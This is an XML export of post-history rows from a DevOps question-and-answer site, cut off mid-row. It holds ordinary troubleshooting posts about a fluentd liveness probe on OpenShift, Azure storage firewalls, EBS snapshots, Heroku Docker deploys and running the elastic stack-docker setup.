  <row Id="30012" PostHistoryTypeId="2" PostId="9992" RevisionGUID="7d62949a-a5f9-4158-9596-6d47bddf261f" CreationDate="2019-12-02T17:44:12.537" UserId="17329" Text="I install fluentd chart on OKD 3.11 with:&#xD;&#xA;helm install kiwigrid/fluentd-elasticsearch --name fluentd -f ../../tools/fluentd/values.yaml --namespace logging&#xD;&#xA;&#xD;&#xA;The pod is created, I can enter in it and I can curl to external elasticsearch successfully.&#xD;&#xA;However the liveness probe keeps failing and the pods on timeout get recreated:&#xD;&#xA;Normal   Killing    10m (x3 over 36m)  kubelet, node1.qa1.isp.ezbob.com  Killing container with id docker://fluentd-fluentd-elasticsearch:Container failed liveness probe.. Container will be killed and recreated.&#xD;&#xA;&#xD;&#xA;And I can't find any indexes being created in ES.&#xD;&#xA;&#xD;&#xA;The liveness config is the default for the chart:&#xD;&#xA; Liveness:       exec [/bin/sh -c LIVENESS_THRESHOLD_SECONDS=${LIVENESS_THRESHOLD_SECONDS:-300}; STUCK_THRESHOLD_SECONDS=${STUCK_THRESHOLD_SECONDS:-900}; if [ ! -e /var/log/fluentd-buffers ]; then&#xD;&#xA;  exit 1;&#xD;&#xA;fi; touch -d &quot;${STUCK_THRESHOLD_SECONDS} seconds ago&quot; /tmp/marker-stuck; if [ -z &quot;$(find /var/log/fluentd-buffers -type d -newer /tmp/marker-stuck -print -quit)&quot; ]; then&#xD;&#xA;  rm -rf /var/log/fluentd-buffers;&#xD;&#xA;  exit 1;&#xD;&#xA;fi; touch -d &quot;${LIVENESS_THRESHOLD_SECONDS} seconds ago&quot; /tmp/marker-liveness; if [ -z &quot;$(find /var/log/fluentd-buffers -type d -newer /tmp/marker-liveness -print -quit)&quot; ]; then&#xD;&#xA;  exit 1;&#xD;&#xA;fi;&#xD;&#xA;] delay=600s timeout=1s period=60s #success=1 #failure=3&#xD;&#xA;&#xD;&#xA;The OS is CentOS 7.6. I can't get any info about this issue and no trace to catch, it looks like some permission issues on mounting points, but I simply can't find anything for a few weeks now...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30013" PostHistoryTypeId="1" PostId="9992" RevisionGUID="7d62949a-a5f9-4158-9596-6d47bddf261f" CreationDate="2019-12-02T17:44:12.537" UserId="17329" Text="elasticsearch-fluentd helm chart on Openshift 3.11 pod failing" ContentLicense="CC BY-SA 4.0" />
  <row Id="30014" PostHistoryTypeId="3" PostId="9992" RevisionGUID="7d62949a-a5f9-4158-9596-6d47bddf261f" CreationDate="2019-12-02T17:44:12.537" UserId="17329" Text="&lt;openshift&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30015" PostHistoryTypeId="2" PostId="9993" RevisionGUID="d8af327b-17ff-48f7-b29c-564ee98e56b5" CreationDate="2019-12-02T19:29:55.403" UserId="18475" Text="I am trying to connect a (python) function app to a storage resource. The storage has a public container that is accessed by several company internal HTML/CSS pages (`$web`). &#xD;&#xA;&#xD;&#xA;Unfortunately, this container _should_ contain sensitive information. So in order to prevent leaking data my choice was to configure the firewall to only allow the IP range that is used by the company. So far this seemed to work fine.&#xD;&#xA;&#xD;&#xA;However, no I tried to automatically generate files (blobs) using a function app. Since only very few executions are necessary, there is no real justification of using anything but the &quot;Consumption&quot; plan of azure function apps. However, apparently this is not part of the trusted azure services, neither has a fixed IP nor can the consumption plan be set-up in a VNet, and thus it could not pass the storage containers firewall.&#xD;&#xA;&#xD;&#xA;I tried adding the function app as a role with contributor rights. I tried adding the outbound IP addresses of the function app (to be found in the resource manager) to the firewall. But both things did not work.&#xD;&#xA;&#xD;&#xA;Is there any workaround for this? &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30016" PostHistoryTypeId="1" PostId="9993" RevisionGUID="d8af327b-17ff-48f7-b29c-564ee98e56b5" CreationDate="2019-12-02T19:29:55.403" UserId="18475" Text="Consumption Plan Function App to Firewalled Storage problem" ContentLicense="CC BY-SA 4.0" />
  <row Id="30017" PostHistoryTypeId="3" PostId="9993" RevisionGUID="d8af327b-17ff-48f7-b29c-564ee98e56b5" CreationDate="2019-12-02T19:29:55.403" UserId="18475" Text="&lt;azure&gt;&lt;firewall&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30019" PostHistoryTypeId="2" PostId="9994" RevisionGUID="5852e4c6-d47e-4a6c-bc82-bee742f565c7" CreationDate="2019-12-02T22:59:38.200" UserId="17305" Text="I'm looking into creating scheduled EBS snapshots. I'd prefer sticking to services provided by AWS, but open to using custom scripts if the first cannot satisfy my requirements. &#xD;&#xA;&#xD;&#xA;As the title suggests, I'd like to create scheduled snapshots, be able to define a retention policy, and have the snapshots replicated across 2+ AWS regions. I looked into AWS Lifecycle Manager for EBS and it doesn't seem to allow cross-region replication of snapshot. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If anyone out there has dealt with similar requirements, sharing your experience/solution would be of great help." ContentLicense="CC BY-SA 4.0" />
  <row Id="30020" PostHistoryTypeId="1" PostId="9994" RevisionGUID="5852e4c6-d47e-4a6c-bc82-bee742f565c7" CreationDate="2019-12-02T22:59:38.200" UserId="17305" Text="EBS Cross Region Scheduled Snapshots" ContentLicense="CC BY-SA 4.0" />
  <row Id="30021" PostHistoryTypeId="3" PostId="9994" RevisionGUID="5852e4c6-d47e-4a6c-bc82-bee742f565c7" CreationDate="2019-12-02T22:59:38.200" UserId="17305" Text="&lt;amazon-web-services&gt;&lt;backup&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30022" PostHistoryTypeId="2" PostId="9995" RevisionGUID="87b43522-5b09-4d75-a1f7-fede2aeeab61" CreationDate="2019-12-02T23:34:33.997" UserId="7118" Text="You can install the Heroku CLI via `npm` - which might be the simplest. &#xD;&#xA;&#xD;&#xA;Note that your Heroku API key has to have the env var name `HEROKU_API_KEY` for the Heroku CLI to accept it as an auth token (ie. to avoid having to do `heroku login`). &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;          - npm install -g heroku&#xD;&#xA;&#xD;&#xA;          # build the Docker image (this will use the Dockerfile in the root of the repo)&#xD;&#xA;          - docker build -t $HEROKU_APPLICATION_NAME ./backend&#xD;&#xA;          # authenticate with the Docker Hub registry&#xD;&#xA;          - docker login --username=_ --password $HEROKU_API_KEY registry.heroku.com&#xD;&#xA;&#xD;&#xA;          - docker tag $HEROKU_APPLICATION_NAME registry.heroku.com/$HEROKU_APPLICATION_NAME/web&#xD;&#xA;          - docker push registry.heroku.com/$HEROKU_APPLICATION_NAME/web&#xD;&#xA;          - heroku container:release web -a=$HEROKU_APPLICATION_NAME&#xD;&#xA;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="30023" PostHistoryTypeId="5" PostId="9992" RevisionGUID="34d688c0-8305-4643-8f19-a0431ff3a818" CreationDate="2019-12-03T07:46:03.817" UserId="354" Comment="Improved formatting and edited for clarify" Text="I install a fluentd chart on OKD 3.11 with:&#xD;&#xA;```&#xD;&#xA;helm install kiwigrid/fluentd-elasticsearch \&#xD;&#xA;--name fluentd \&#xD;&#xA;-f ../../tools/fluentd/values.yaml \&#xD;&#xA;--namespace logging&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The pod is created, I can enter in it and I can curl to external elasticsearch successfully.&#xD;&#xA;However the liveness probe keeps failing and the pods on timeout get recreated:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Normal   Killing    10m (x3 over 36m) kubelet node1.qa1.isp.ezbob.com &#xD;&#xA;Killing container with id docker://fluentd-fluentd-elasticsearch:Container failed liveness probe.. Container will be killed and recreated.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And I can't find any indexes being created in ES.&#xD;&#xA;&#xD;&#xA;The liveness config is the default for the chart:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA; Liveness:       exec [/bin/sh -c LIVENESS_THRESHOLD_SECONDS=${LIVENESS_THRESHOLD_SECONDS:-300}; STUCK_THRESHOLD_SECONDS=${STUCK_THRESHOLD_SECONDS:-900}; if [ ! -e /var/log/fluentd-buffers ]; then&#xD;&#xA;  exit 1;&#xD;&#xA;fi; touch -d &quot;${STUCK_THRESHOLD_SECONDS} seconds ago&quot; /tmp/marker-stuck; if [ -z &quot;$(find /var/log/fluentd-buffers -type d -newer /tmp/marker-stuck -print -quit)&quot; ]; then&#xD;&#xA;  rm -rf /var/log/fluentd-buffers;&#xD;&#xA;  exit 1;&#xD;&#xA;fi; touch -d &quot;${LIVENESS_THRESHOLD_SECONDS} seconds ago&quot; /tmp/marker-liveness; if [ -z &quot;$(find /var/log/fluentd-buffers -type d -newer /tmp/marker-liveness -print -quit)&quot; ]; then&#xD;&#xA;  exit 1;&#xD;&#xA;fi;&#xD;&#xA;] delay=600s timeout=1s period=60s #success=1 #failure=3&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The OS is CentOS 7.6. I can't get any info about this issue and no trace to catch, it looks like some permission issues on mounting points.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30024" PostHistoryTypeId="6" PostId="9992" RevisionGUID="34d688c0-8305-4643-8f19-a0431ff3a818" CreationDate="2019-12-03T07:46:03.817" UserId="354" Comment="Improved formatting and edited for clarify" Text="&lt;elastic&gt;&lt;openshift&gt;&lt;fluentd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30028" PostHistoryTypeId="2" PostId="9996" RevisionGUID="a60a6861-57d8-4621-9237-07375bb1295a" CreationDate="2019-12-03T11:11:06.580" UserId="210" Text="I am looking for some DevOps news channel like https://nos.nl/teletekst#101 that shows the headlines of the Dutch news. I am aware of https://tweakers.net/ and github.com, but this does not contain all interesting news on one page.&#xD;&#xA;&#xD;&#xA;Basically, I would like to receive updates regarding security, features, bugs about several products, e.g. k8s, docker, docker-compose, ubuntu, cloud, AWS, GCP, Azure, centos." ContentLicense="CC BY-SA 4.0" />
  <row Id="30029" PostHistoryTypeId="1" PostId="9996" RevisionGUID="a60a6861-57d8-4621-9237-07375bb1295a" CreationDate="2019-12-03T11:11:06.580" UserId="210" Text="Is there one website that contains all relevant DevOps news and gets updated on a daily basis?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30030" PostHistoryTypeId="3" PostId="9996" RevisionGUID="a60a6861-57d8-4621-9237-07375bb1295a" CreationDate="2019-12-03T11:11:06.580" UserId="210" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;docker-compose&gt;&lt;cloud&gt;&lt;elastic&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30031" PostHistoryTypeId="2" PostId="9997" RevisionGUID="00129d7e-37c3-4590-b503-9da875a9a358" CreationDate="2019-12-03T11:42:31.447" UserId="354" Text="Probably not 100% comprehensive, but &#xD;&#xA;&#xD;&#xA;[DevOps.com](https://devops.com/)&#xD;&#xA;&#xD;&#xA;might fit the bill?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30032" PostHistoryTypeId="2" PostId="9998" RevisionGUID="7facf0a4-ef84-4e98-b7cc-27f147b2422f" CreationDate="2019-12-03T11:43:36.150" UserId="13307" Text="seems support ended for above mentioned image its no longer in their registry maybe &#xD;&#xA;&#xD;&#xA;https://devblogs.microsoft.com/dotnet/net-core-container-images-now-published-to-microsoft-container-registry/" ContentLicense="CC BY-SA 4.0" />
  <row Id="30033" PostHistoryTypeId="2" PostId="9999" RevisionGUID="099123b1-269a-4564-99df-280054377cf2" CreationDate="2019-12-03T11:47:00.933" UserId="17329" Text="Changing logging driver form journald to json has fixed it." ContentLicense="CC BY-SA 4.0" />
  <row Id="30040" PostHistoryTypeId="5" PostId="9999" RevisionGUID="051a3f8e-531f-4bd0-8bec-ea7219a8fad4" CreationDate="2019-12-03T12:45:02.907" UserId="17329" Comment="added 197 characters in body" Text="Changing logging driver form journald to json has fixed it.&#xD;&#xA;vi /etc/sysconfig/docker: set OPTIONS='--selinux-enabled --log-driver=json-file --signature-verification=false' and then systemctl daemon-reload &amp;&amp; systemctl restart docker on the nodes I needed." ContentLicense="CC BY-SA 4.0" />
  <row Id="30041" PostHistoryTypeId="5" PostId="9999" RevisionGUID="c38cc143-eaa1-4f33-9223-fff37f8ac7b4" CreationDate="2019-12-03T12:53:52.610" UserId="354" Comment="Fixed formatting" Text="Changing logging driver form journald to json has fixed it. &#xD;&#xA;I edited `/etc/sysconfig/docker`, and set &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;OPTIONS='--selinux-enabled --log-driver=json-file --signature-verification=false'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then restarted docker on the nodes I needed:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;systemctl daemon-reload &amp;&amp; systemctl restart docker&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="30044" PostHistoryTypeId="2" PostId="10003" RevisionGUID="82db3488-4aa6-48d8-b62e-48e22f75f1cf" CreationDate="2019-12-03T14:27:53.937" UserId="210" Text="According to [this blog][1] one has to change the docker daemon:&#xD;&#xA;&#xD;&#xA;&gt;     /usr/bin/dockerd --insecure-registry 172.30.0.0/16 -H fd://&#xD;&#xA;&#xD;&#xA;but I wonder why the error occurs and how to fix it properly?&#xD;&#xA;&#xD;&#xA;  [1]: https://blog.hostonnet.com/did-not-detect-insecure-registry-argument-docker-daemon" ContentLicense="CC BY-SA 4.0" />
  <row Id="30045" PostHistoryTypeId="1" PostId="10003" RevisionGUID="82db3488-4aa6-48d8-b62e-48e22f75f1cf" CreationDate="2019-12-03T14:27:53.937" UserId="210" Text="What is the proper way to fix `error: did not detect an --insecure-registry argument on the Docker daemon` while running `oc cluster up`?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30046" PostHistoryTypeId="3" PostId="10003" RevisionGUID="82db3488-4aa6-48d8-b62e-48e22f75f1cf" CreationDate="2019-12-03T14:27:53.937" UserId="210" Text="&lt;openshift&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30048" PostHistoryTypeId="2" PostId="10004" RevisionGUID="7b2c7ee0-6021-44de-8e67-811d0ed2df4a" CreationDate="2019-12-03T14:59:55.793" UserId="16683" Text="This error happens because the `oc cluster up` command spawns a Docker registry. The `172.30.0.0/16` IP range is probably corresponding to your Docker bridge network. As the registry will run in a container with an unpredictable IP address, you must indicate the IP range (`--insecure-registry 172.30.0.0/16`)." ContentLicense="CC BY-SA 4.0" />
  <row Id="30049" PostHistoryTypeId="2" PostId="10005" RevisionGUID="fe408d19-81c0-4aaa-a6f5-27e47b17c596" CreationDate="2019-12-03T15:24:01.877" UserId="18486" Text="I'm very new to DevOps but I'm trying to learn some of it a bit.  I'm working with Terraform, trying to get a service to run on AWS using Fargate and Docker.  I've successfully set up my ECR repositories, and I walked through [this tutorial][1] on getting a service set up in Fargate.  However, I'm having a bit of a problem.  When I walked through the tutorial, everything worked more or less fine (there were some small issues but it was mostly pilot error), but when I tried to deploy my own application everything kind of exploded, and I can't figure out why.&#xD;&#xA;&#xD;&#xA;- The error I'm getting is 502 Bad Gateway.&#xD;&#xA;- The application is a Java Spring application with embedded Tomcat.  I haven't changed any run configurations from the default Spring config.&#xD;&#xA;- I am able to build and Dockerize my application locally and run it through Docker on my local machine and everything works fine.&#xD;&#xA;- The only changes from the tutorial code (linked above) that I made was changing the Docker image and changing the app_port from 3000 to 8080 (I also enabled Access Logging and added an S3 bucket for that purpose)&#xD;&#xA;- The application has some auth security enabled, and when I try to hit the LB I get a login screen, so I know at least my Docker image is being pulled correctly&#xD;&#xA;- One of the errors in the task logs of my ECS instances says something about failing a health check, although I'm not able to figure out anything more than that.&#xD;&#xA;&#xD;&#xA;To be honest I'm a total newbie at DevOps anything so I have no idea what I'm doing.  Can anyone point me in some direction to help me get started?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://medium.com/@bradford_hamilton/deploying-containers-on-amazons-ecs-using-fargate-and-terraform-part-2-2e6f6a3a957f" ContentLicense="CC BY-SA 4.0" />
  <row Id="30050" PostHistoryTypeId="1" PostId="10005" RevisionGUID="fe408d19-81c0-4aaa-a6f5-27e47b17c596" CreationDate="2019-12-03T15:24:01.877" UserId="18486" Text="Having some trouble getting service running with Docker and Terraform" ContentLicense="CC BY-SA 4.0" />
  <row Id="30051" PostHistoryTypeId="3" PostId="10005" RevisionGUID="fe408d19-81c0-4aaa-a6f5-27e47b17c596" CreationDate="2019-12-03T15:24:01.877" UserId="18486" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;terraform&gt;&lt;spring-boot&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30052" PostHistoryTypeId="2" PostId="10006" RevisionGUID="9c51a0d4-973b-43ec-966d-34677cda6dca" CreationDate="2019-12-03T15:37:24.677" UserId="17676" Text="There is https://www.infoq.com/devops/ which is a good news feed. I get the newsletter and it is a good overview of trends, etc.&#xD;&#xA;&#xD;&#xA;I also check https://aws.amazon.com/blogs/devops/ regularly, but that is AWS specific of course." ContentLicense="CC BY-SA 4.0" />
  <row Id="30053" PostHistoryTypeId="2" PostId="10007" RevisionGUID="df399e2a-44ae-4fb6-ae81-77e64d0b7cf6" CreationDate="2019-12-03T15:41:14.853" UserId="210" Text="https://github.com/elastic/stack-docker&#xD;&#xA;&#xD;&#xA;Running `docker-compose -f setup.yml up` resulted in:&#xD;&#xA;&#xD;&#xA;    Creating network &quot;stack-docker_default&quot; with the default driver&#xD;&#xA;    Pulling setup (docker/compose:1.21.2)...&#xD;&#xA;    1.21.2: Pulling from docker/compose&#xD;&#xA;    605ce1bd3f31: Pull complete&#xD;&#xA;    c57f5dd9da06: Pull complete&#xD;&#xA;    4869756a2c04: Pull complete&#xD;&#xA;    Digest: sha256:6fb081a4ff825a3b9311aa532589bf98b3e9d3331e4f9de69fac31770c8cb108&#xD;&#xA;    Status: Downloaded newer image for docker/compose:1.21.2&#xD;&#xA;    Creating stack-docker_setup_1 ... done&#xD;&#xA;    Attaching to stack-docker_setup_1&#xD;&#xA;    setup_1  | Found orphan containers (stack-docker_setup_1) for this project. If you removed or renamed this service in your compose file, you can run this command with the --remove-orphans flag to clean it up.&#xD;&#xA;    Recreating setup_elasticsearch ... done&#xD;&#xA;    Attaching to setup_elasticsearch&#xD;&#xA;    setup_1  | setup_elasticsearch    | Determining if x-pack is installed...&#xD;&#xA;    setup_1  | setup_elasticsearch    | === CREATE Keystore ===&#xD;&#xA;    setup_1  | setup_elasticsearch    | Elastic password is: WCqGii/TGf2banI6JsJF4w==&#xD;&#xA;    setup_1  | setup_elasticsearch    | Created elasticsearch keystore in /usr/share/elasticsearch/config&#xD;&#xA;    setup_1  | setup_elasticsearch    | Setting bootstrap.password...&#xD;&#xA;    setup_1  | setup_elasticsearch    | === CREATE SSL CERTS ===&#xD;&#xA;    setup_1  | setup_elasticsearch    | Remove old ca zip...&#xD;&#xA;    setup_1  | setup_elasticsearch    | Creating docker-cluster-ca.zip...&#xD;&#xA;    setup_1  | setup_elasticsearch    | CA directory exists, removing...&#xD;&#xA;    setup_1  | setup_elasticsearch    | Unzip ca files...&#xD;&#xA;    setup_1  | setup_elasticsearch    | Archive:  /config/ssl/docker-cluster-ca.zip&#xD;&#xA;    setup_1  | setup_elasticsearch    |    creating: /config/ssl/ca/&#xD;&#xA;    setup_1  | setup_elasticsearch    |   inflating: /config/ssl/ca/ca.crt   &#xD;&#xA;    setup_1  | setup_elasticsearch    |   inflating: /config/ssl/ca/ca.key   &#xD;&#xA;    setup_1  | setup_elasticsearch    | Remove old docker-cluster.zip zip...&#xD;&#xA;    setup_1  | setup_elasticsearch    | Create cluster certs zipfile...&#xD;&#xA;    setup_1  | setup_elasticsearch    | Unzipping cluster certs zipfile...&#xD;&#xA;    setup_1  | setup_elasticsearch    | Archive:  /config/ssl/docker-cluster.zip&#xD;&#xA;    setup_1  | setup_elasticsearch    |    creating: /config/ssl/docker-cluster/elasticsearch/&#xD;&#xA;    setup_1  | setup_elasticsearch    |   inflating: /config/ssl/docker-cluster/elasticsearch/elasticsearch.crt  &#xD;&#xA;    setup_1  | setup_elasticsearch    |   inflating: /config/ssl/docker-cluster/elasticsearch/elasticsearch.key  &#xD;&#xA;    setup_1  | setup_elasticsearch    |    creating: /config/ssl/docker-cluster/kibana/&#xD;&#xA;    setup_1  | setup_elasticsearch    |   inflating: /config/ssl/docker-cluster/kibana/kibana.crt  &#xD;&#xA;    setup_1  | setup_elasticsearch    |   inflating: /config/ssl/docker-cluster/kibana/kibana.key  &#xD;&#xA;    setup_1  | setup_elasticsearch    |    creating: /config/ssl/docker-cluster/logstash/&#xD;&#xA;    setup_1  | setup_elasticsearch    |   inflating: /config/ssl/docker-cluster/logstash/logstash.crt  &#xD;&#xA;    setup_1  | setup_elasticsearch    |   inflating: /config/ssl/docker-cluster/logstash/logstash.key  &#xD;&#xA;    setup_1  | setup_elasticsearch    | Move logstash certs to logstash config dir...&#xD;&#xA;    setup_1  | setup_elasticsearch    | Move kibana certs to kibana config dir...&#xD;&#xA;    setup_1  | setup_elasticsearch    | Move elasticsearch certs to elasticsearch config dir...&#xD;&#xA;    setup_1  | setup_elasticsearch exited with code 0&#xD;&#xA;    setup_1  | Found orphan containers (stack-docker_setup_1) for this project. If you removed or renamed this service in your compose file, you can run this command with the --remove-orphans flag to clean it up.&#xD;&#xA;    setup_1  | Pulling setup_kibana (docker.elastic.co/kibana/kibana:6.6.0)...&#xD;&#xA;    setup_1  | 6.6.0: Pulling from kibana/kibana&#xD;&#xA;    setup_1  | Digest: sha256:7c6eadb13667e36d21b7e96809a02d14527c15bbfc5b92631168a58ed5f9fd33&#xD;&#xA;    setup_1  | Status: Downloaded newer image for docker.elastic.co/kibana/kibana:6.6.0&#xD;&#xA;    setup_1  | Pulling setup_logstash (docker.elastic.co/logstash/logstash:6.6.0)...&#xD;&#xA;    setup_1  | 6.6.0: Pulling from logstash/logstash&#xD;&#xA;    setup_1  | Digest: sha256:5fd22fa584ae6bd9b9e2d23014f23b415ccf8c66cba35cbacb68999f7ee4e2f5&#xD;&#xA;    setup_1  | Status: Downloaded newer image for docker.elastic.co/logstash/logstash:6.6.0&#xD;&#xA;    Recreating elasticsearch ... done&#xD;&#xA;    Creating setup_logstash  ... done&#xD;&#xA;    Creating setup_kibana    ... done&#xD;&#xA;    Attaching to setup_logstash, setup_kibana&#xD;&#xA;    setup_1  | setup_logstash         | -rw-rw-r-- 1 root root 1200 Dec  3 15:35 /usr/share/logstash/config/ca/ca.crt&#xD;&#xA;    setup_1  | setup_kibana           | -rw-rw-r-- 1 root root 1200 Dec  3 15:35 /usr/share/kibana/config/ca/ca.crt&#xD;&#xA;&#xD;&#xA;and navigating to http://localhost:5601/ does not return anything.&#xD;&#xA;&#xD;&#xA;When `docker-compose up` is run then it fails:&#xD;&#xA;&#xD;&#xA;    Creating logstash        ... error&#xD;&#xA;    Creating kibana          ... &#xD;&#xA;    &#xD;&#xA;    ERROR: for logstash  Cannot create container for service logstash: invalid mount config for type &quot;binCreating kibana          ... error&#xD;&#xA;    &#xD;&#xA;    ERROR: for kibana  Cannot create container for service kibana: invalid mount config for type &quot;bind&quot;: bind source path does not exist: /home/ben/dev/stack-docker/config/kibana/kibana.keystore&#xD;&#xA;    &#xD;&#xA;    ERROR: for logstash  Cannot create container for service logstash: invalid mount config for type &quot;bind&quot;: bind source path does not exist: /home/ben/dev/stack-docker/config/logstash/logstash.keystore&#xD;&#xA;    &#xD;&#xA;    ERROR: for kibana  Cannot create container for service kibana: invalid mount config for type &quot;bind&quot;: bind source path does not exist: /home/ben/dev/stack-docker/config/kibana/kibana.keystore&#xD;&#xA;    ERROR: Encountered errors while bringing up the project." ContentLicense="CC BY-SA 4.0" />
  <row Id="30054" PostHistoryTypeId="1" PostId="10007" RevisionGUID="df399e2a-44ae-4fb6-ae81-77e64d0b7cf6" CreationDate="2019-12-03T15:41:14.853" UserId="210" Text="How to get the elastic stack-docker running on a laptop?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30055" PostHistoryTypeId="3" PostId="10007" RevisionGUID="df399e2a-44ae-4fb6-ae81-77e64d0b7cf6" CreationDate="2019-12-03T15:41:14.853" UserId="210" Text="&lt;elastic&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30056" PostHistoryTypeId="2" PostId="10008" RevisionGUID="ff550b52-759a-450f-930a-e4d033bc4c5c" CreationDate="2019-12-03T15:50:01.090" UserId="210" Text="I missed the following statement in the README.md&#xD;&#xA;&#xD;&#xA;    sudo sysctl -w vm.max_map_count=262144&#xD;&#xA;&#xD;&#xA;Once this was changed and &#xD;&#xA;&#xD;&#xA;    docker-compose -f setup.yml up --remove-orphans&#xD;&#xA;&#xD;&#xA;[was run][1], the logging continued:&#xD;&#xA;&#xD;&#xA;    setup_1  | setup_packetbeat       | Loading dashboards (Kibana must be running and reachable)&#xD;&#xA;    setup_1  | setup_heartbeat        | Loaded dashboards&#xD;&#xA;    setup_1  | setup_heartbeat        | Copy keystore to ./config dir&#xD;&#xA;    setup_1  | setup_heartbeat exited with code 0&#xD;&#xA;    setup_1  | setup_auditbeat        | Loaded dashboards&#xD;&#xA;    setup_1  | setup_auditbeat        | Copy keystore to ./config dir&#xD;&#xA;    setup_1  | setup_auditbeat exited with code 0&#xD;&#xA;    setup_1  | setup_packetbeat       | Loaded dashboards&#xD;&#xA;    setup_1  | setup_packetbeat       | Copy keystore to ./config dir&#xD;&#xA;    setup_1  | setup_packetbeat exited with code 0&#xD;&#xA;    setup_1  | setup_metricbeat       | Loaded dashboards&#xD;&#xA;    setup_1  | setup_metricbeat       | Copy keystore to ./config dir&#xD;&#xA;    setup_1  | setup_metricbeat exited with code 0&#xD;&#xA;    setup_1  | setup_filebeat         | Loaded dashboards&#xD;&#xA;    setup_1  | setup_filebeat         | Loaded machine learning job configurations&#xD;&#xA;    setup_1  | setup_filebeat         | Copy keystore to ./config dir&#xD;&#xA;    setup_1  | setup_filebeat exited with code 0&#xD;&#xA;    setup_1  | Setup completed successfully. To start the stack please run:&#xD;&#xA;    setup_1  | 	 docker-compose up -d&#xD;&#xA;    setup_1  | &#xD;&#xA;    setup_1  | If you wish to remove the setup containers please run:&#xD;&#xA;    setup_1  | 	docker-compose -f docker-compose.yml -f docker-compose.setup.yml down --remove-orphans&#xD;&#xA;    setup_1  | &#xD;&#xA;    setup_1  | You will have to re-start the stack after removing setup containers.&#xD;&#xA;    setup_1  | &#xD;&#xA;    setup_1  | Your 'elastic' user password is: mnQ9c5FCGT09sRgHPnw27A==&#xD;&#xA;    stack-docker_setup_1 exited with code 0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/elastic/stack-docker/issues/73#issuecomment-476068864" ContentLicense="CC BY-SA 4.0" />
  <row Id="30057" PostHistoryTypeId="6" PostId="10007" RevisionGUID="537bcdb5-5dc9-4f99-9714-ab77ce40c9ef" CreationDate="2019-12-03T15:50:16.277" UserId="210" Comment="edited tags" Text="&lt;docker&gt;&lt;elastic&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30058" PostHistoryTypeId="5" PostId="10008" RevisionGUID="342f0ff0-f70b-4cd3-9968-f738bff355ff" CreationDate="2019-12-03T15:59:30.880" UserId="210" Comment="added 564 characters in body" Text="I missed the following statement in the README.md&#xD;&#xA;&#xD;&#xA;    sudo sysctl -w vm.max_map_count=262144&#xD;&#xA;&#xD;&#xA;Once this was changed and &#xD;&#xA;&#xD;&#xA;    docker-compose -f setup.yml up --remove-orphans&#xD;&#xA;&#xD;&#xA;[was run][1], the logging continued:&#xD;&#xA;&#xD;&#xA;    setup_1  | setup_packetbeat       | Loading dashboards (Kibana must be running and reachable)&#xD;&#xA;    setup_1  | setup_heartbeat        | Loaded dashboards&#xD;&#xA;    setup_1  | setup_heartbeat        | Copy keystore to ./config dir&#xD;&#xA;    setup_1  | setup_heartbeat exited with code 0&#xD;&#xA;    setup_1  | setup_auditbeat        | Loaded dashboards&#xD;&#xA;    setup_1  | setup_auditbeat        | Copy keystore to ./config dir&#xD;&#xA;    setup_1  | setup_auditbeat exited with code 0&#xD;&#xA;    setup_1  | setup_packetbeat       | Loaded dashboards&#xD;&#xA;    setup_1  | setup_packetbeat       | Copy keystore to ./config dir&#xD;&#xA;    setup_1  | setup_packetbeat exited with code 0&#xD;&#xA;    setup_1  | setup_metricbeat       | Loaded dashboards&#xD;&#xA;    setup_1  | setup_metricbeat       | Copy keystore to ./config dir&#xD;&#xA;    setup_1  | setup_metricbeat exited with code 0&#xD;&#xA;    setup_1  | setup_filebeat         | Loaded dashboards&#xD;&#xA;    setup_1  | setup_filebeat         | Loaded machine learning job configurations&#xD;&#xA;    setup_1  | setup_filebeat         | Copy keystore to ./config dir&#xD;&#xA;    setup_1  | setup_filebeat exited with code 0&#xD;&#xA;    setup_1  | Setup completed successfully. To start the stack please run:&#xD;&#xA;    setup_1  | 	 docker-compose up -d&#xD;&#xA;    setup_1  | &#xD;&#xA;    setup_1  | If you wish to remove the setup containers please run:&#xD;&#xA;    setup_1  | 	docker-compose -f docker-compose.yml -f docker-compose.setup.yml down --remove-orphans&#xD;&#xA;    setup_1  | &#xD;&#xA;    setup_1  | You will have to re-start the stack after removing setup containers.&#xD;&#xA;    setup_1  | &#xD;&#xA;    setup_1  | Your 'elastic' user password is: mnQ9c5FCGT09sRgHPnw27A==&#xD;&#xA;    stack-docker_setup_1 exited with code 0&#xD;&#xA;&#xD;&#xA;Subsequently, running `docker-compose up -d`, resulted in:&#xD;&#xA;&#xD;&#xA;    Recreating elasticsearch ... done&#xD;&#xA;    Recreating kibana        ... done&#xD;&#xA;    Creating logstash        ... done&#xD;&#xA;    Creating apm_server      ... 